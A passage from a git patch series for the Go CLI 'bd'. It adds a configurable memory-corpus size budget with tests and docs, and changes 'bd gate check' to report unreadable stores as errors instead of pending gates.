stderr) + } + if !strings.Contains(stdout, "Remembered [big]") { + t.Errorf("expected the shipped success line, got %q", stdout) + } + if strings.Contains(stderr, "memory corpus") { + t.Errorf("budget off must print no budget line, got stderr %q", stderr) + } + }) + + // ===== Budget ON ===== + dir, _, _ := bdInit(t, bd, "--prefix", "mb") + + // The arithmetic below assumes a fresh, empty corpus. Say so out loud, so + // a future `bd init` that seeds a memory fails HERE instead of failing as + // an inscrutable off-by-N in the assertions. + if out := bdMemories(t, bd, dir); !strings.Contains(out, "No memories stored") { + t.Fatalf("budget arithmetic needs an empty corpus after init, got:\n%s", out) + } + + cfg := exec.Command(bd, "config", "set", "memories.budget-chars", "100") + cfg.Dir = dir + cfg.Env = bdEnv(dir) + if out, err := cfg.CombinedOutput(); err != nil { + t.Fatalf("bd config set memories.budget-chars failed: %v\n%s", err, out) + } else if strings.Contains(string(out), "not a recognized") || strings.Contains(string(out), "Unrecognized") { + t.Fatalf("memories.budget-chars must be a recognized config key, got:\n%s", out) + } + + // 3 ("pad") + 90 = 93 of 100 -> writes, warns at 93%. + t.Run("warn_band_writes_and_warns", func(t *testing.T) { + _, stderr, err := bdRememberBuffers(t, bd, dir, strings.Repeat("a", 90), "--key", "pad") + if err != nil { + t.Fatalf("a write inside the budget must succeed: %v\nstderr:\n%s", err, stderr) + } + if want := "bd remember: memory corpus at 93 of 100 chars (93%)"; !strings.Contains(stderr, want) { + t.Errorf("stderr = %q, want the warn line %q", stderr, want) + } + if out := bdRecall(t, bd, dir, "pad"); !strings.Contains(out, strings.Repeat("a", 90)) { + t.Errorf("the warned write must still have landed, got %q", out) + } + }) + + // An OVERWRITE of the same size is a no-op on the corpus (delta, not sum). + // Were it summed, the projection would be 186 and this would be refused. + t.Run("overwrite_counts_delta_not_sum", func(t *testing.T) { + _, stderr, err := bdRememberBuffers(t, bd, dir, strings.Repeat("b", 90), "--key", "pad") + if err != nil { + t.Fatalf("a same-size overwrite must not be refused: %v\nstderr:\n%s", err, stderr) + } + if want := "bd remember: memory corpus at 93 of 100 chars (93%)"; !strings.Contains(stderr, want) { + t.Errorf("stderr = %q, want %q (an overwrite must not add to the sum)", stderr, want) + } + if out := bdRecall(t, bd, dir, "pad"); !strings.Contains(out, strings.Repeat("b", 90)) { + t.Errorf("overwrite did not land: %q", out) + } + }) + + // 93 + 2 ("ab") + 5 = exactly 100. Exactly AT the budget writes. + t.Run("exactly_at_budget_writes", func(t *testing.T) { + _, stderr, err := bdRememberBuffers(t, bd, dir, "ccccc", "--key", "ab") + if err != nil { + t.Fatalf("a write landing exactly on the budget must succeed: %v\nstderr:\n%s", err, stderr) + } + if want := "bd remember: memory corpus at 100 of 100 chars (100%)"; !strings.Contains(stderr, want) { + t.Errorf("stderr = %q, want %q", stderr, want) + } + }) + + // Overwriting "pad" with one more byte projects 101 — exactly ONE over. + t.Run("one_byte_over_refuses_and_writes_nothing", func(t *testing.T) { + stdout, stderr, err := bdRememberBuffers(t, bd, dir, strings.Repeat("d", 91), "--key", "pad") + if err == nil { + t.Fatalf("a write one byte over the budget must exit nonzero; stdout:\n%s\nstderr:\n%s", stdout, stderr) + } + want := "bd remember: memory corpus would be 101 chars, budget is 100 (101%) — refused; use --force to override" + if !strings.Contains(stderr, want) { + t.Errorf("stderr = %q, want %q", stderr, want) + } + // A terminal user is offered the same ways out as the --json envelope. + if hint := "Hint: raise memories.budget-chars, forget a memory, or pass --force"; !strings.Contains(stderr, hint) { + t.Errorf("stderr = %q, want the hint %q", stderr, hint) + } + if strings.Contains(stdout, "Remembered") || strings.Contains(stdout, "Updated") { + t.Errorf("a refused write must print no success line, got stdout %q", stdout) + } + if out := bdRecall(t, bd, dir, "pad"); !strings.Contains(out, strings.Repeat("b", 90)) { + t.Errorf("a refused write must leave the old content intact, got %q", out) + } + }) + + // The commonest call passes no --key, so the write lands under the key + // derived from the content, and that is the key the budget must measure: + // 100 + 22 ("derived-keys-count-too") + 24 (the content) projects 146. + t.Run("derived_key_write_is_budgeted", func(t *testing.T) { + stdout, stderr, err := bdRememberBuffers(t, bd, dir, "Derived keys count, too!") + var exitErr *exec.ExitError + if !errors.As(err, &exitErr) || exitErr.ExitCode() != 1 { + t.Fatalf("a write with no --key over the budget must exit 1, got %v; stdout:\n%s\nstderr:\n%s", err, stdout, stderr) + } + want := "bd remember: memory corpus would be 146 chars, budget is 100 (146%) — refused; use --force to override" + if !strings.Contains(stderr, want) { + t.Errorf("stderr = %q, want %q", stderr, want) + } + if strings.Contains(stdout, "Remembered") || strings.Contains(stdout, "Updated") { + t.Errorf("a refused write must print no success line, got stdout %q", stdout) + } + bdRecallFail(t, bd, dir, "derived-keys-count-too") + }) + + // A whitespace-only --key names nothing, so the role refuses the write with + // its own validation sentence. The budget must not answer first: on this + // full corpus it would call the write over budget and point at --force, + // and the --force retry would only then meet the validation error. + t.Run("blank_key_gets_the_validation_error_not_the_budget", func(t *testing.T) { + stdout, stderr, err := bdRememberBuffers(t, bd, dir, "some content", "--key", " ") + if err == nil { + t.Fatalf("a whitespace-only --key must be refused; stdout:\n%s\nstderr:\n%s", stdout, stderr) + } + if !strings.Contains(stderr, "memory key must not be empty") { + t.Errorf("stderr = %q, want the role's validation error", stderr) + } + if strings.Contains(stderr, "memory corpus") { + t.Errorf("a write the role refuses must not be measured against the budget, got stderr %q", stderr) + } + }) + + // The same refusal under --json is said ONCE, and only on stdout: the + // machine-readable envelope, nothing else. Printing the prose to stderr as + // well would deliver one refusal twice to a caller reading both streams. + t.Run("json_refusal_is_said_once", func(t *testing.T) { + stdout, stderr, err := bdRememberBuffers(t, bd, dir, strings.Repeat("d", 91), "--key", "pad", "--json") + if err == nil { + t.Fatalf("a --json write one byte over the budget must exit nonzero; stdout:\n%s\nstderr:\n%s", stdout, stderr) + } + + // Exactly ONE JSON document on stdout — no second envelope, no prose + // before or after it. + dec := json.NewDecoder(strings.NewReader(stdout)) + var doc map[string]interface{} + if decErr := dec.Decode(&doc); decErr != nil { + t.Fatalf("stdout is not a JSON document (%v):\n%s", decErr, stdout) + } + if decErr := dec.Decode(new(json.RawMessage)); !errors.Is(decErr, io.EOF) { + t.Errorf("stdout carries more than one JSON document (second Decode = %v):\n%s", decErr, stdout) + } + + // The envelope carries the refusal sentence, under either the enveloped + // or the flat error shape. + inner := doc + if data, ok := doc["data"].(map[string]interface{}); ok { + inner = data + } + msg, _ := inner["error"].(string) + want := "bd remember: memory corpus would be 101 chars, budget is 100 (101%) — refused; use --force to override" + if msg != want { + t.Errorf("JSON error = %q, want %q (full stdout:\n%s)", msg, want, stdout) + } + + // ...and stderr says nothing, so the refusal arrived exactly once. + if strings.Contains(stderr, "memory corpus") || strings.Contains(stderr, "Hint:") { + t.Errorf("--json refusal must not also print the prose line to stderr, got stderr %q", stderr) + } + + // A refused --json write still leaves the old content intact. + if out := bdRecall(t, bd, dir, "pad"); !strings.Contains(out, strings.Repeat("b", 90)) { + t.Errorf("a refused --json write must leave the old content intact, got %q", out) + } + }) + + // The same write with --force lands, and still says so. + t.Run("force_writes_over_budget", func(t *testing.T) { + _, stderr, err := bdRememberBuffers(t, bd, dir, strings.Repeat("d", 91), "--key", "pad", "--force") + if err != nil { + t.Fatalf("--force must write over the budget: %v\nstderr:\n%s", err, stderr) + } + if want := "bd remember: memory corpus at 101 of 100 chars (101%) — over budget, written anyway (--force)"; !strings.Contains(stderr, want) { + t.Errorf("stderr = %q, want %q", stderr, want) + } + if out := bdRecall(t, bd, dir, "pad"); !strings.Contains(out, strings.Repeat("d", 91)) { + t.Errorf("--force did not land the write, got %q", out) + } + }) +} diff --git a/docs/reference/configuration.md b/docs/reference/configuration.md index 0bb16251e..4a488738a 100644 --- a/docs/reference/configuration.md +++ b/docs/reference/configuration.md @@ -88,7 +88,7 @@ The full namespaces routed to YAML are: Plus these individual keys: -`no-db`, `json`, `db`, `actor`, `identity`, `no-push`, `no-git-ops`, `agent.profile`, `create.require-description`, `import.auto`, `import.path`, `prime.max-memories`, `prime.max-memory-chars`, and the secret keys `github.token`, `gitlab.token`, `jira.api_token`, `ado.pat`, `linear.api_key`, `linear.oauth_client_id`, `linear.oauth_client_secret`, `notion.token`. +`no-db`, `json`, `db`, `actor`, `identity`, `no-push`, `no-git-ops`, `agent.profile`, `create.require-description`, `import.auto`, `import.path`, `prime.max-memories`, `prime.max-memory-chars`, `memories.budget-chars`, and the secret keys `github.token`, `gitlab.token`, `jira.api_token`, `ado.pat`, `linear.api_key`, `linear.oauth_client_id`, `linear.oauth_client_secret`, `notion.token`. Any key whose name contains `api_key`, `api-key`, `secret`, `token`, or `password` is treated as a secret: it is refused on git-tracked `config.yaml` files unless you pass `--force-git-tracked`. Prefer exporting the value as an environment variable instead (e.g. `LINEAR_API_KEY`). @@ -108,6 +108,7 @@ Any key whose name contains `api_key`, `api-key`, `secret`, `token`, or `passwor | `agent.profile` | — | `BD_AGENT_PROFILE` | `conservative` | Policy profile `bd prime` uses for git/commit authority: `conservative`, `minimal`, `team-maintainer`; invalid values fall back to `conservative` | | `prime.max-memories` | `--max-memories` | `BD_PRIME_MAX_MEMORIES` | `0` | Max persistent memories injected by `bd prime` (0 = unlimited) | | `prime.max-memory-chars` | `--max-memory-chars` | `BD_PRIME_MAX_MEMORY_CHARS` | `0` | Max total bytes of memory entries injected by `bd prime`, at whole-memory boundaries (0 = unlimited) | +| `memories.budget-chars` | — | `BD_MEMORIES_BUDGET_CHARS` | `0` | Ceiling on the whole persistent-memory corpus, in bytes of `len(key)+len(content)` summed over every memory (0 = off). `bd remember` refuses a write that would cross it — pass `--force` to store anyway — and warns on a write that lands at or above 80% of it. Read at `bd remember` time only; `bd prime` injection is capped separately by `prime.max-memory-chars` | | `dolt.auto-commit` | `--dolt-auto-commit` | `BD_DOLT_AUTO_COMMIT` | `on` | `off\|on\|batch`: `on` creates a Dolt history commit after each successful write; `batch`/`off` defer it to `bd dolt commit` (see [below](#auto-commit-sql-commits-vs-dolt-commits)) | | `dolt.auto-push` | — | `BD_DOLT_AUTO_PUSH` | `false` | Auto-push to Dolt remote after writes (opt-in; see [below](#auto-push)) | | `dolt.auto-push-interval` | — | `BD_DOLT_AUTO_PUSH_INTERVAL` | `5m` | Minimum time between auto-pushes | diff --git a/internal/config/yaml_config.go b/internal/config/yaml_config.go index 8cf62abfb..cd0eb20e7 100644 --- a/internal/config/yaml_config.go +++ b/internal/config/yaml_config.go @@ -79,6 +79,11 @@ var YamlOnlyKeys = map[string]bool{ "prime.max-memories": true, "prime.max-memory-chars": true, + // Memory-corpus budget enforced by `bd remember` (0 = off). Yaml for the + // same reason the prime caps are: it is read through viper (config.GetInt), + // so a DB-backed write would be set successfully and then never read. + "memories.budget-chars": true, + // Validation settings (bd-t7jq) // Values: "warn" | "error" | "none" "validation.on-create": true, @@ -1596,6 +1601,14 @@ func validateYamlConfigValue(key, value string) error { if n < 0 { return fmt.Errorf("prime.max-memory-chars must be a non-negative integer (0 = unlimited), got %q", value) } + case "memories.budget-chars": + n, err := strconv.Atoi(value) + if err != nil { + return fmt.Errorf("memories.budget-chars must be a non-negative integer (0 = off), got %q", value) + } + if n < 0 { + return fmt.Errorf("memories.budget-chars must be a non-negative integer (0 = off), got %q", value) + } } return nil } diff --git a/internal/config/yaml_config_test.go b/internal/config/yaml_config_test.go index 897f66485..57bd48aab 100644 --- a/internal/config/yaml_config_test.go +++ b/internal/config/yaml_config_test.go @@ -917,6 +917,53 @@ func TestValidateYamlConfigValue_PrimeMaxMemoryChars(t *testing.T) { } } +// TestValidateYamlConfigValue_MemoriesBudgetChars tests validation of +// memories.budget-chars, the opt-in `bd remember` corpus ceiling. A negative +// value is rejected at SET time rather than silently clamped at read time, so +// an operator who types "-1" hears about it instead of getting a budget that +// is quietly off. +func TestValidateYamlConfigValue_MemoriesBudgetChars(t *testing.T) { + tests := []struct { + name string + value string + expectErr bool + errMsg string + }{ + {"valid zero (off)", "0", false, ""}, + {"valid positive", "250000", false, ""}, + {"invalid negative", "-1", true, "memories.budget-chars must be a non-negative integer (0 = off), got \"-1\""}, + {"invalid non-integer", "abc", true, "memories.budget-chars must be a non-negative integer (0 = off), got \"abc\""}, + {"invalid float", "3.5", true, "memories.budget-chars must be a non-negative integer (0 = off), got \"3.5\""}, + {"invalid empty", "", true, "memories.budget-chars must be a non-negative integer (0 = off), got \"\""}, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + err := validateYamlConfigValue("memories.budget-chars", tt.value) + if tt.expectErr { + if err == nil { + t.Errorf("expected error for value %q, got nil", tt.value) + } else if err.Error() != tt.errMsg { + t.Errorf("expected error %q, got %q", tt.errMsg, err.Error()) + } + } else { + if err != nil { + t.Errorf("unexpected error for value %q: %v", tt.value, err) + } + } + }) + } +} + +// TestMemoriesBudgetCharsIsYamlOnly pins the routing: the key is read through +// viper (config.GetInt), so a DB-backed write would be accepted and then never +// read by `bd remember`. YamlOnlyKeys is what keeps `bd config set` honest. +func TestMemoriesBudgetCharsIsYamlOnly(t *testing.T) { + if !IsYamlOnlyKey("memories.budget-chars") { + t.Error("memories.budget-chars must be yaml-only: bd remember reads it through viper") + } +} + func TestIsSecretKey(t *testing.T) { tests := []struct { key string From 9f9cfc49688d15e588a24640ce55e5f4f2c1c9a4 Mon Sep 17 00:00:00 2001 From: Bee Date: Tue, 6 Oct 2026 23:05:06 +0000 Subject: [PATCH 128/325] fix(gate): report an unreadable store as an error, not a pending bead gate (#6404) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * fix(gate): report an unreadable store as an error, not a pending bead gate (wy-2hz4ol) evaluateGates assigned r.err for the gh:run, gh:pr and timer arms but never for the bead arm, so a backend or transport failure on the awaited bead's read fell through applyGateCheckResults' pending branch: no error row, no error count, exit 0 — indistinguishable from a healthy gate still waiting. checkBeadGate now returns (satisfied, reason, err). A read that fails for any reason other than not-found (storage.ErrNotFound, sql.ErrNoRows, the partial-id resolver's text) is an error; a missing bead stays pending with the not-found reason as before. printGateCheckSummary returns an error when any gate could not be checked so the command exits non-zero on both the classic and proxied routes. bd close keeps refusing on such a gate (fail closed, --force to override) instead of treating "could not read" as satisfied. Tests: TestCheckBeadGate_LocalBeadLookupError now asserts the wrapped error; TestCheckBeadGate_LocalBeadNotFoundErrorStaysPending pins the four not-found shapes; TestEvaluateGates_BeadStoreErrorCountsAsError and TestPrintGateCheckSummary_ErrorsFailTheCommand pin the error row/count and the non-zero exit. Each of the three fails against its reverted line. Co-Authored-By: Claude Fable 5.1 Claude-Session: https://claude.ai/code/session_01PNYoASfCXUd5AeeCNiXn51 * ci: re-run the gate after a module-proxy GOAWAY on 'Check doc flags freshness' (no code change) * fix(gate): name close failures in the exit error; test the close refusal Maintainer fixup for #6404 (adopt-pr review iteration 1; quality scorecard 956/1000, approve). It fixes the review's three minor findings, all in code or text this PR introduced. - printGateCheckSummary: the exit error said "N gate(s) could not be checked", but errorCount also counts resolved gates whose close failed (the "error closing" rows) on the classic and proxied routes. It now says "could not be checked or closed", naming both row kinds, and the summary test asserts the new text. - close_gate_test.go: add TestCheckGateSatisfaction_BeadGateUnreadableStoreRefuses. A store stub whose GetIssue fails with a non-not-found error must make checkGateSatisfaction refuse with "could not check bead gate", the read error, and --force. Checked against three mutants: the refusal falling through to the fail-open warning, the pre-PR reason-only refusal, and checkBeadGate folding the read error into the reason. The existing BeadGateInvalidFormat and ErrorMessageFormat tests catch only the first, and only through the typed-nil routedBeadGateGetter left by a nil package store. - CHANGELOG: narrow the error-row claim to reads of the workspace's own store. A bead in a prefix-routed rig whose store cannot be read still reads as not found (pending): the routing fallback returns the local not-found and drops the routed error. That is pre-existing and left as a non-gating follow-up. Also say the non-zero exit covers gh, timer, and bead gates and close failures. Left as-is: the nit that a typed-nil routedBeadGateGetter{localStore: nil} gets past checkBeadGate's st == nil guard (unreachable on the classic route, where store is set before RunE). The optional `gate check` Long-help note was skipped so the generated CLI reference does not need regenerating. Agent-Signature: claude-code-claude-opus-5-5-max on behalf of Julian Knutsen Co-Authored-By: Claude Opus 5.5 --------- Co-authored-by: Claude Fable 5.1 Co-authored-by: Eddie the Engineer --- CHANGELOG.md | 15 ++++ cmd/bd/close.go | 8 ++- cmd/bd/close_gate_test.go | 40 +++++++++++ cmd/bd/gate.go | 40 +++++++---- cmd/bd/gate_routing_test.go | 4 +- cmd/bd/gate_test.go | 132 +++++++++++++++++++++++++++++++++--- 6 files changed, 213 insertions(+), 26 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 66ce69feb..4aad8bdc1 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1374,6 +1374,21 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ### Fixed +- **`bd gate check` no longer reports an unreadable store as "pending".** The + bead arm of the check dropped the lookup error on the floor, so with dolt + down (or any backend or transport failure on the awaited bead's read) every + bead gate printed as still waiting and the command exited 0 — the same + output as a healthy, genuinely pending gate. A read of the workspace's own + store that fails for any reason other than not-found is now an error row + (`✗ : error checking - ...`), counted in the summary, and `bd close` + on such a gate keeps refusing (`could not check bead gate`, `--force` to + override) rather than letting a dead store read as satisfied. On the + classic and proxied routes alike, `bd gate check` now exits non-zero + whenever any gate it checks (gh, timer, or bead) could not be checked or + closed. A missing bead still stays pending, and for now so does a bead in + a prefix-routed rig whose store cannot be read: routing still reports that + failure as not-found. + - **`routes.jsonl` prefixes containing a hyphen now route** ([#5048](https://github.com/gastownhall/beads/issues/5048)). Prefix routing cut the bead ID at its first `-` and required an exact match, so a route diff --git a/cmd/bd/close.go b/cmd/bd/close.go index 80159c203..e49aed1c7 100644 --- a/cmd/bd/close.go +++ b/cmd/bd/close.go @@ -695,7 +695,13 @@ func checkGateSatisfaction(issue *types.Issue) error { case issue.AwaitType == "timer": resolved, escalated, reason, err = checkTimer(issue, time.Now()) case issue.AwaitType == "bead": - resolved, reason = checkBeadGate(rootCtx, routedBeadGateGetter{localStore: store}, issue.AwaitID) + resolved, reason, err = checkBeadGate(rootCtx, routedBeadGateGetter{localStore: store}, issue.AwaitID) + if err != nil { + // Unlike the gh:* and timer arms above, a bead gate whose store + // cannot be read stays closed: the close would need that same + // store, and "could not read" must not pass as "satisfied". + return fmt.Errorf("gate condition not satisfied: could not check bead gate: %v (use --force to override)", err) + } if resolved { return nil } diff --git a/cmd/bd/close_gate_test.go b/cmd/bd/close_gate_test.go index e50d46746..458640b19 100644 --- a/cmd/bd/close_gate_test.go +++ b/cmd/bd/close_gate_test.go @@ -1,9 +1,12 @@ package main import ( + "context" + "errors" "strings" "testing" + "github.com/steveyegge/beads/internal/storage" "github.com/steveyegge/beads/internal/types" ) @@ -201,3 +204,40 @@ func TestCheckGateSatisfaction_ErrorMessageFormat(t *testing.T) { t.Errorf("error message should mention 'gate condition not satisfied', got: %s", errMsg) } } + +// unreadableGateStore is a DoltStorage stand-in whose GetIssue always fails +// with err. It embeds a nil DoltStorage and overrides only the read the bead +// arm of checkGateSatisfaction makes. +type unreadableGateStore struct { + storage.DoltStorage + err error +} + +func (s *unreadableGateStore) GetIssue(context.Context, string) (*types.Issue, error) { + return nil, s.err +} + +func TestCheckGateSatisfaction_BeadGateUnreadableStoreRefuses(t *testing.T) { + // A bead gate whose store read fails (anything but not-found) must refuse + // the close with the read error, not fall through to the fail-open + // warning the gh:* and timer arms use. + saveAndRestoreGlobals(t) + store = &unreadableGateStore{err: errors.New("dolt exploded")} + + issue := &types.Issue{ + IssueType: "gate", + AwaitType: "bead", + AwaitID: "bd-abc", + Title: "Bead gate on an unreadable store", + } + + err := checkGateSatisfaction(issue) + if err == nil { + t.Fatal("checkGateSatisfaction() let a bead gate close although its store could not be read") + } + for _, want := range []string{"could not check bead gate", "dolt exploded", "--force"} { + if !strings.Contains(err.Error(), want) { + t.Errorf("error should mention %q, got: %v", want, err) + } + } +} diff --git a/cmd/bd/gate.go b/cmd/bd/gate.go index 1246d544e..cd546de93 100644 --- a/cmd/bd/gate.go +++ b/cmd/bd/gate.go @@ -721,7 +721,7 @@ func evaluateGates(ctx context.Context, gates []*types.Issue, now time.Time, get case gate.AwaitType == "timer": r.resolved, r.escalated, r.reason, r.err = checkTimer(gate, now) case gate.AwaitType == "bead": - r.resolved, r.reason = checkBeadGate(ctx, getter, gate.AwaitID) + r.resolved, r.reason, r.err = checkBeadGate(ctx, getter, gate.AwaitID) default: continue } @@ -781,13 +781,22 @@ func printGateCheckSummary(checked, resolvedCount, escalatedCount, errorCount in checked, resolvedCount, escalatedCount, errorCount) if jsonOutput { - return outputJSON(map[string]interface{}{ + if err := outputJSON(map[string]interface{}{ "checked": checked, "resolved": resolvedCount, "escalated": escalatedCount, "errors": errorCount, "dry_run": dryRun, - }) + }); err != nil { + return err + } + } + if errorCount > 0 { + // errorCount holds both row kinds applyGateCheckResults prints: a gate + // whose check failed ("error checking") and a resolved gate whose close + // failed ("error closing"). Neither is resolved or pending, so the + // caller must not mistake this run for a clean sweep. + return fmt.Errorf("%d gate(s) could not be checked or closed", errorCount) } return nil } @@ -1203,38 +1212,45 @@ func (g routedBeadGateGetter) GetIssue(ctx context.Context, id string) (*types.I } // checkBeadGate checks if a bead gate is satisfied. -// Returns (satisfied, reason). +// Returns (satisfied, reason, err). A non-nil err means the awaited bead could +// not be read at all (backend or transport failure): the gate is neither +// satisfied nor pending, and the caller reports it as an error rather than +// letting a dead store read as "still waiting". A missing bead is not an +// error; it stays pending with a not-found reason. // // A plain await_id names a bead in this rig. The historical // : form uses the bead ID as the routed lookup key; the rig // component is retained for compatibility while routes.jsonl remains keyed by // bead prefix. The supplied getter owns local-versus-routed lookup policy. -func checkBeadGate(ctx context.Context, st issueGetter, awaitID string) (bool, string) { +func checkBeadGate(ctx context.Context, st issueGetter, awaitID string) (bool, string, error) { if awaitID == "" { - return false, "bead gate has no await_id" + return false, "bead gate has no await_id", nil } targetID := awaitID if strings.Contains(awaitID, ":") { parts := strings.SplitN(awaitID, ":", 2) if parts[0] == "" || parts[1] == "" { - return false, fmt.Sprintf("invalid cross-rig bead gate %q: expected :", awaitID) + return false, fmt.Sprintf("invalid cross-rig bead gate %q: expected :", awaitID), nil } targetID = parts[1] } if st == nil { - return false, fmt.Sprintf("bead gate %q: no local store available", awaitID) + return false, fmt.Sprintf("bead gate %q: no local store available", awaitID), nil } issue, err := st.GetIssue(ctx, targetID) if err != nil { - return false, fmt.Sprintf("bead gate %q: %v", awaitID, err) + if gateProxiedNotFound(err) || isNotFoundErr(err) { + return false, fmt.Sprintf("bead gate %q: bead not found", awaitID), nil + } + return false, "", fmt.Errorf("bead gate %q: %w", awaitID, err) } if issue == nil { - return false, fmt.Sprintf("bead gate %q: bead not found", awaitID) + return false, fmt.Sprintf("bead gate %q: bead not found", awaitID), nil } if issue.Status == types.StatusClosed { - return true, fmt.Sprintf("bead %s closed", targetID) + return true, fmt.Sprintf("bead %s closed", targetID), nil } - return false, fmt.Sprintf("bead %s is %s", targetID, issue.Status) + return false, fmt.Sprintf("bead %s is %s", targetID, issue.Status), nil } // closeGate closes a gate issue with the given reason diff --git a/cmd/bd/gate_routing_test.go b/cmd/bd/gate_routing_test.go index 2b93fdf2e..10b03b6ab 100644 --- a/cmd/bd/gate_routing_test.go +++ b/cmd/bd/gate_routing_test.go @@ -62,12 +62,12 @@ func TestCheckBeadGateCrossRigPrefixRoute(t *testing.T) { t.Cleanup(func() { _ = os.Chdir(oldWD) }) getter := routedBeadGateGetter{localStore: townStore} - resolved, reason := checkBeadGate(ctx, getter, "rig:gt-closed") + resolved, reason, _ := checkBeadGate(ctx, getter, "rig:gt-closed") if !resolved { t.Fatalf("closed cross-rig target did not resolve gate: %s", reason) } - resolved, reason = checkBeadGate(ctx, getter, "rig:gt-open") + resolved, reason, _ = checkBeadGate(ctx, getter, "rig:gt-open") if resolved { t.Fatalf("open cross-rig target unexpectedly resolved gate: %s", reason) } diff --git a/cmd/bd/gate_test.go b/cmd/bd/gate_test.go index 85baf386e..6b3637403 100644 --- a/cmd/bd/gate_test.go +++ b/cmd/bd/gate_test.go @@ -6,12 +6,15 @@ import ( "database/sql" "encoding/json" "errors" + "fmt" "io" "os" "path/filepath" "slices" + "strings" "sync" "testing" + "time" "github.com/steveyegge/beads/internal/storage" "github.com/steveyegge/beads/internal/types" @@ -173,7 +176,7 @@ func TestCheckBeadGate_CrossRigUsesBeadIDForRoutedLookup(t *testing.T) { "gt-abc": {ID: "gt-abc", Status: types.StatusClosed}, }} - satisfied, reason := checkBeadGate(ctx, st, "gastown:gt-abc") + satisfied, reason, _ := checkBeadGate(ctx, st, "gastown:gt-abc") if !satisfied { t.Fatalf("expected closed routed bead to satisfy gate, got reason %q", reason) } @@ -207,7 +210,7 @@ func TestCheckBeadGate_InvalidCrossRigFormat(t *testing.T) { for _, tt := range tests { t.Run(tt.name, func(t *testing.T) { - satisfied, reason := checkBeadGate(ctx, nil, tt.awaitID) + satisfied, reason, _ := checkBeadGate(ctx, nil, tt.awaitID) if satisfied { t.Errorf("expected not satisfied for %q", tt.awaitID) } @@ -219,7 +222,7 @@ func TestCheckBeadGate_InvalidCrossRigFormat(t *testing.T) { } func TestCheckBeadGate_EmptyAwaitID(t *testing.T) { - satisfied, reason := checkBeadGate(context.Background(), nil, "") + satisfied, reason, _ := checkBeadGate(context.Background(), nil, "") if satisfied { t.Error("expected not satisfied for empty await_id") } @@ -240,7 +243,7 @@ func TestCheckBeadGate_LocalBead(t *testing.T) { }, } - satisfied, reason := checkBeadGate(ctx, st, "bd-closed") + satisfied, reason, _ := checkBeadGate(ctx, st, "bd-closed") if !satisfied { t.Errorf("expected satisfied for closed local bead, got reason %q", reason) } @@ -248,7 +251,7 @@ func TestCheckBeadGate_LocalBead(t *testing.T) { t.Errorf("reason %q does not mention closed", reason) } - satisfied, reason = checkBeadGate(ctx, st, "bd-open") + satisfied, reason, _ = checkBeadGate(ctx, st, "bd-open") if satisfied { t.Error("expected not satisfied for open local bead") } @@ -259,7 +262,7 @@ func TestCheckBeadGate_LocalBead(t *testing.T) { func TestCheckBeadGate_LocalBeadNotFound(t *testing.T) { st := &fakeBeadGateGetter{issues: map[string]*types.Issue{}} - satisfied, reason := checkBeadGate(context.Background(), st, "bd-missing") + satisfied, reason, _ := checkBeadGate(context.Background(), st, "bd-missing") if satisfied { t.Error("expected not satisfied for missing local bead") } @@ -269,18 +272,125 @@ func TestCheckBeadGate_LocalBeadNotFound(t *testing.T) { } func TestCheckBeadGate_LocalBeadLookupError(t *testing.T) { - st := &fakeBeadGateGetter{err: errors.New("dolt exploded")} - satisfied, reason := checkBeadGate(context.Background(), st, "bd-abc") + // A store that cannot be read is an error, not a pending gate: the + // caller must be able to tell "dolt is down" from "still waiting". + boom := errors.New("dolt exploded") + st := &fakeBeadGateGetter{err: boom} + satisfied, reason, err := checkBeadGate(context.Background(), st, "bd-abc") if satisfied { t.Error("expected not satisfied on lookup error") } - if !gateTestContainsIgnoreCase(reason, "dolt exploded") { - t.Errorf("reason %q does not carry the lookup error", reason) + if err == nil { + t.Fatal("expected a lookup error to be returned as an error") + } + if !errors.Is(err, boom) { + t.Errorf("err = %v, want it to wrap the lookup error", err) + } + if !gateTestContainsIgnoreCase(err.Error(), "dolt exploded") { + t.Errorf("err %q does not carry the lookup error", err) + } + if reason != "" { + t.Errorf("reason = %q, want empty on an error", reason) + } +} + +func TestCheckBeadGate_LocalBeadNotFoundErrorStaysPending(t *testing.T) { + // A getter that reports absence through an error (the routed getter + // surfaces storage.ErrNotFound; the proxied fresh-read getter surfaces + // sql.ErrNoRows) is a missing bead, not a broken store. + for _, tt := range []struct { + name string + err error + }{ + {name: "storage sentinel", err: storage.ErrNotFound}, + {name: "wrapped storage sentinel", err: fmt.Errorf("lookup bd-missing: %w", storage.ErrNotFound)}, + {name: "sql no rows", err: sql.ErrNoRows}, + {name: "partial-id resolver text", err: errors.New("no issue found matching bd-missing")}, + } { + t.Run(tt.name, func(t *testing.T) { + st := &fakeBeadGateGetter{err: tt.err} + satisfied, reason, err := checkBeadGate(context.Background(), st, "bd-missing") + if err != nil { + t.Fatalf("not-found must stay pending, got error %v", err) + } + if satisfied { + t.Error("expected not satisfied for a missing bead") + } + if !gateTestContainsIgnoreCase(reason, "not found") { + t.Errorf("reason %q does not mention not found", reason) + } + }) + } +} + +func TestEvaluateGates_BeadStoreErrorCountsAsError(t *testing.T) { + // The bead arm used to drop the lookup error on the floor, so a dead + // store reported every bead gate as pending and the check exited 0. + gate := &types.Issue{ID: "bd-gate", IssueType: "gate", AwaitType: "bead", AwaitID: "bd-abc"} + st := &fakeBeadGateGetter{err: errors.New("dolt exploded")} + + results := evaluateGates(context.Background(), []*types.Issue{gate}, time.Now(), st, nil) + if len(results) != 1 { + t.Fatalf("results = %d, want 1", len(results)) + } + if results[0].err == nil { + t.Fatal("expected the store error on the result") + } + if results[0].resolved { + t.Error("a store error must not resolve the gate") + } + + closeCalls := 0 + var resolved, escalated, errCount int + _ = captureGateStdout(t, func() { + resolved, escalated, errCount = applyGateCheckResults(results, false, false, func(*types.Issue, string) error { + closeCalls++ + return nil + }) + }) + if errCount != 1 || resolved != 0 || escalated != 0 { + t.Errorf("counts = (resolved %d, escalated %d, errors %d), want (0, 0, 1)", resolved, escalated, errCount) + } + if closeCalls != 0 { + t.Errorf("closeResolved called %d times on an errored gate", closeCalls) + } +} + +func TestPrintGateCheckSummary_ErrorsFailTheCommand(t *testing.T) { + origJSON := jsonOutput + t.Cleanup(func() { jsonOutput = origJSON }) + + for _, tt := range []struct { + name string + json bool + errors int + wantErr bool + }{ + {name: "clean sweep", errors: 0, wantErr: false}, + {name: "one unreadable gate", errors: 1, wantErr: true}, + {name: "json still 